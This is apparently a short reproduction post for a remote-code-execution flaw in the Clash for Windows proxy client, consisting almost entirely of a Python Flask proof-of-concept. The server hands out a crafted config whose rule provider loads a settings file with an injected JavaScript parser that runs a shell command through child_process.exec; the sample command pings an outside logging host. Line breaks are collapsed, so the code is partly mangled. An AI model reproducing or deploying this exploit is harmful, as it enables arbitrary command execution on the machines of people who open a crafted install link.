clash最新RCE复现

https://github.com/Fndroid/clash_for_windows_pkg/issues/3891

host = '127.0.0.1'shell = 'cmd.exe /c ping scqie.log.cve.ink'
print('[+Run Shell] ' + shell)print('[+Payload] clash://install-config?url=http://{}/config.yaml'.format(host))paylad = """payload:-DOMAIN-SUFFIX,acl4.ssr,全球直连showNewVersionIcon: truehideAfterStartup: falserandomControllerPort: truerunTimeFormat: "hh : mm : ss"trayOrders:  - -icon  - -status    -traffic    -texthideTrayIcon: falseconnShowProcess: trueshowTrayProxyDelayIndicator: trueprofileParsersText: >-  parsers:    -reg: .*      code:        module.exports.parse = async (raw, { axios, yaml, notify, console }, {name, url, interval, selected }) => {          require("child_process").exec(""""+shell+"""");          return raw;          }"""from flask import Flaskapp = Flask(__name__)@app.route('/config.yaml')def index():    return """port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  -name: a   type: socks5   server: 127.0.0.1   port: "17938"   skip-cert-verify: truerule-providers: p:   type: http   behavior: domain   url: "http://{}/cfw-settings.yaml"   path: ./cfw-settings.yaml   interval: 86400""".format(host)@app.route('/cfw-settings.yaml')def cfw():    return payladif __name__ == '__main__':    app.run(host=host, port=80, debug=True)